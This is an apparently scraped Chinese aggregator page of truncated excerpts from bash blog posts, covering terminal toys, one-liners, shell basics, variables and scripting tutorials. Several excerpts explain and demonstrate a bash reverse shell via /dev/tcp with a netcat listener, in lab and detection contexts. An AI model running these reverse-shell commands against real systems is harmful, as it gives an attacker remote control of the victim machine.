Bash - 趣味Shell】的更多相关文章

好消息:本人博客已开通.很多其它博客请进 http://swplzj.github.io 今天抽闲玩了一下Shell.发现几个比較有意思的.记录一下. 终端彩虹字:lolcat 图形化文字:figlet 幸运人生格言:fortune ASCII牛说:Cowsay 黑客帝国中瀑布流文字:cmatrix 写在最后 非常有趣的 Shell, 值得一试: lolcat 安装 因为 Lolcat 是一个 ruby gem 程序,所以在你的系统中必须安装有最新版本号的 ruby. 安装ruby过程不再详述:…
主题:单行经典bash.shell.perl命令 作者:luomg 摘要: 会陆陆续的写自己工作中的常用有意思的命令,争取你能看完后就能搞定常见操作, 且尽量自少提供基本shell.perl的实现方式 有的写在一行或许略显牵强,但是为了方便还是写在一行 命令开始.......... 001查看当前目录最大的10个 du -mg .|sort -k1nr|head -n 10 #AIX du ./ --max-depth=1 --block-size=1G|sort -k1nr|head -10…
什么是shell? bash和shell有什么关系? 博客分类: Linux   什么是Shell?      shell是你(用户)和Linux(或者更准确的说,是你和Linux内核)之间的接口程序.你在提示符下输入的每个命令都由shell先解释然后传给Linux内核.      shell 是一个命令语言解释器(command-language interpreter).拥有自己内建的 shell 命令集.此外,shell也能被系统中其他有效的Linux 实用程序和应用程序(utilitie…
bash是borne again shell的缩写,它是shell的一种,Linux上默认采用的是bash. shell脚本中的方法带不带function的区别,例如: function foo () { } foo () { } 功能完全一样, 区别是第二种兼容性更好.…
1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄. 2.检测 file descriptor 是否指向一个管道符(pipe) 对于利用"管道符"传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pi…
如何学习一门编程语言 数据类型 运算符 关键字 1 认识BASH 这个shell linux是操作系统核心,用户通过shell与核心进行沟通,达到我们想要的目的.硬件.核心.用户之间的关系: 原理:所谓Shell程序,实际上是提供用户操作系统的一个接口,用户可以通过shell程序操作其他应用程序(eg. ls,chown,etc.),让这些应用程序可以呼叫内核来完成工作.Bash是Linux系统下的其中一种Shell程序.当前系统支持哪些Shell程序,可查看/etc/shells配置文件:查看…
用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口 受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1  ##反弹shell,bash是linux shell的一种,-i是指创建一个交互式的shell,&>是指将正确错误的输入输出都输到文件里,不显示…
 在修改当前shell时,用命令: usermod -s  /bin/csh   home     home 为 你所想要改变的用户地址     此处home 为家目录,一般自己创建的用户都会在家目录下生成用户名,亦可单独指定,如/home/idcdpi     当然修改shell亦可配置   /etc/passwd 如下: # vi /etc/passwd修改 /bin/bash 为 /bin/csh 将永久改变所有用户的shell  为C shell --------------------…
我们通过shell将我们输入的命令与内核通信,好让内核可以控制硬件来正确无误地工作bash是我们Linux默认的shell 用户界面(Shell,application)--------核心(Kernel)-------硬件(Hardware)​操作系统其实是一组软件,由于这组软件在控制整个硬件与管理系统的活动监测,如果这组软件被用户随便操作,若用户应用不当,将会使得整个系统崩溃. 因为操作系统管理的是整个硬件功能,所以当然不能够被随便被一些没有管理能力的终端用户随意使用.但是我们总是需要让用户…
一.什么是 Shell? 狭义的shell指的是指令列方面的软件,包括基本的Linux操作窗口Bash等,广义的shell则包括 图形接口的软件,因为图形接口其实也可以操作各种驱动程序来呼叫核心进行工作. 系统合法的 shell 均写在 /etc/shells 文件中. 二.Bash Shell 的基本操作技巧 1.查看前一次登录执行过的命令:vim ~/.bash_history 2.命令和文件补全功能(Tab键) tab 接在一串指令的第一个字后面,则为命令补全 tab 接在一串指令的第二个…
bash中,所有变量的值默认均为字符串. 1. 变量操作 调用变量 $变量 查看变量(所有类型) set 删除变量 unset 变量 2. 变量分类 2.1 自定义变量 自定义变量仅对当前Shell有效: 自定义变量的操作: # 定义变量 变量=变量值 # 其它操作见<1.变量操作> 2.2 环境变量 环境变量对当前Shell及子Shell有效:如果把环境变量写入配置文件,则它对所有shell生效. 环境变量的操作: # 定义环境变量 export 环境变量=环境变量值 # 查看环境变量 en…
一.什么是 Shell? 狭义的shell指的是指令列方面的软件,包括基本的Linux操作窗口Bash等,广义的shell则包括 图形接口的软件,因为图形接口其实也可以操作各种驱动程序来呼叫核心进行工作. 系统合法的 shell 均写在 /etc/shells 文件中. 二.Bash Shell 的基本操作技巧 1.查看前一次登录执行过的命令:vim ~/.bash_history 2.命令和文件补全功能(Tab键) tab 接在一串指令的第一个字后面,则为命令补全 tab 接在一串指令的第二个…
shell脚本编程入门 编程语言介绍 编程语言分为:机械语言.汇编语言和高级语言: 计算机能识别的语言为机械语言,而人类能学习的并且能够方便掌握的为高级语言,所以,我们所编写的程序就要通过编译来转换成为计算机能识别的机械语言来运行,这个过程我们叫做编译.所以,我们能够学习的一般都为高级语言: 高级语言又分为两种:静态语言和动态语言: 静态语言:编译型语言,例如C.C++.JAVA.C#等,这种语言所编写的程序,在程序开始运行前就会将程序所有的代码编译完成,再一起执行: 动态语言:解释型语言,例如…
各个 shell 的功能都差不多, Linux 默认使用 bash ,所以我们主要学习bash的使用. 1.bash命令格式 命令 [-options] [参数],如:tar  zxvf  demo.tar.gz 查看帮助:命令 --help 2.bash常见命令 pwd (Print Working Directory) 查看当前目录 cd (Change Directory) 切换目录,如 cd /etc ls (List) 查看当前目录下内容,如 ls -al mkdir (Make Di…
1. Shell脚本执行方式 直接运行,需要在脚本文件头部指定解释器,如#!/bin/bash ./myshell.sh 运行时指定shell解释器 bash myshell.sh 2. Shell命令历史 查看所有历史命令 history 执行上一条历史命令 !! 执行历史命令中第n条命令 !n 执行历史命令中最后一个以"str"字符串开头的命令 # 不建议使用,尤其是创建.修改.删除文件这样的操作 !str 在历史命令中搜索匹配命令 快捷键:control + r 3. 别名 注意…
什么是Shell?      shell是你(用户)和Linux(或者更准确的说,是你和Linux内核)之间的接口程序.你在提示符下输入的每个命令都由shell先解释然后传给Linux内核.      shell 是一个命令语言解释器(command-language interpreter).拥有自己内建的 shell 命令集.此外,shell也能被系统中其他有效的Linux 实用程序和应用程序(utilities and application programs)所调用.     不论何时你…
shell通俗理解:把用户输入的命令翻译给操作系统. shell 是一个交互性命令解释器.shell独立于操作系统,这种设计让用户可以灵活选择适合自己的shell.shell让你在命令行键入命令,经过shell解释后传送给操作系统(内核)执行.     shell是一个命令处理器(command processor)——是一个读入并解释你输入的命令的程序.除了是一个命令中断器以外,shell还是一个程序设计语言.你可以编写shell可以解 释的程序(被称为源程序),这些源程序可以包含shell程…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/525126 知识体系: #创建函数 #使用参数 #共享函数 shell脚本代码可以封装在函数内,而函数可以在脚本任意处使用,由此减少大段代码的重复编写. 1.基本脚本函数 函数是被赋予名称的脚本代码块,可以在代码的任意位置使用.当需要调用代码块的时候,只需引用代码块被赋予的函数名即可. 1.1.创建函数 在bas…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/522415 知识体系: #回顾信号功能 #隐藏在背景中 #在没有控制台的情况下运行 #做得更好 #准确无误的运行 #从头开始 前面运行脚本的方式都是在命令行界面运行,实际上还有运行shell脚本的其他方式,以及中断脚本的运行进程,控制脚本的运行时间都可以实现. 1.处理信号 linux下有各种信号,如停止.启动.…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/521455 知识体系: #回顾重定向 #标准输入和输出 #报告错误 #丢弃数据 #创建日志文件 这里主要讲述如何将脚本重定向到linux系统的各个位置. 1.了解输入和输出 我们知道显示脚本输出的方法有两种: *在监视器屏幕上显示 *将输出重定向到文件 下面主要讲述如何使用标准的linux输入和输出体系满足将脚本…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/521448 知识体系: #使用命令行参数 #设置选项 #获取用户输入 有时编写的脚本需要能和运行脚本的人员进行交互,bash shell提供了一些方法来从用户处获取数据,这些方法有如下三种: 1- 命令行参数(添加在命令后的参数) 2- 命令行选项(修改命令行为的单字符串) 3- 直接读取键盘输入 1.命令行参数…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/513601 三.更多结构化命令 前面已经讲述了检查命令的输出和变量的值来操作shell脚本程序中的流.如下主要说明如何执行重复的过程和命令,使得一组命令循环下去,直到满足特定的条件. 知识内容: # 使用for语句循环 # 使用until语句迭代 # 使用while语句 # 结合循环 # 重定向循环输出 1.fo…
二.使用结构化命令 知识内容: # 改变命令流 # 使用if-then逻辑 # 嵌套if-then # 测试条件 # 高级if-then功能 许多程序在脚本命令之间需要某些逻辑控制流,有些命令允许脚本根据变量值的条件或者命令的结果跳过一些命令或者循环执行这些命令,这叫做结构化命令. 1.使用if-then语句 最基本的结构化命令类型就是if-then语句,其格式如下: if command then command fi 意思是说:if语句后面的命令的退出状态值是0,则执行then后面的所有命令…
原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://twentyfour.blog.51cto.com/945260/505644 ****shell 脚本基础知识**** ##########实验环境是RHEL5.3,内核2.6.18########### 一.基本脚本编译 知识内容: # 构建脚本 # 将命令串联起来 # 存储变量 # 数学计算 # 重定向输出 # 检查代码 1.使用多条命令 shell不像高级语言需要编译后执…
$@和$*区别 不加引号的时候没区别 #! /usr/bin/bash function print_args_at { printf "%s\n" $@ echo $@ } function print_args_star { printf "%s\n" $* echo $* } print_args_at "one" "two three" "four" echo "*************…
    最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问题.这是一篇原理的介绍,也是给自己提的一个醒:盲目机械地工作着,没有多少思考的时间,在忙碌中已经找不到工作的本质和初心.     Linux反弹shell的指令如下: bash -i >& /dev/tcp/ip/port 0>&1   1 bash -i >& /d…
part1:不求甚解的本地复现 攻击端Debian 10.x:  192.168.208.134 受害端Ubuntu : 192.168.208.135 攻击端打开(监听)某端口:  键入命令:[nc -lvp 8080] 受害端执行反弹shell: 键入命令:[bash -i >& /dev/tcp/192.168.208.134/8080 0>&1] 效果: 可以在攻击机上操作受害机的终端. part2:尝试理解原理 (1) nc -lvp 8080 -l  设置netca…
standard_init_linux.go:178: exec user process caused "no such file or directory" 2018年04月21日 21:50:10 往前的娘娘 阅读数:1010 标签: docker异常启动容器镜像 更多 个人分类: Docker   版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/m0_37355951/article/details/80034010 1.Doc…
Richard M. Stallman大神是谁就不用说了,一时来了兴趣,想看看Linux系统下有多少程序有这位大神参与编写的. 先把所有命令导出到文件中,遍历所有命令,用man手册查一下并过滤Stallman关键词. 以下是脚本 #!/bin/bash i=0; touch Stallman ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games > command for line in `cat c…
在linux中 通配符是系统命令使用,一般用来匹配文件名或者什么的用在系统命令中. 通配符是系统级别的,通配符多用在文件名上,比如查找find,ls,cp,rm 正则表达式是操作字符串,以行尾单位来匹配字符串使用的. 正则表达式需要相关工具的支持 例如 : egrep, awk, vi, perl. 在文本过滤工具里,都是用正则表达式,比如像awk,sed等,是针对文件的内容的 还有一点需要注意的是:*在通配符和正则表达式中有其不一样的地方,在通配符中*可以匹配任意的0个或多个字符,而在正则表达…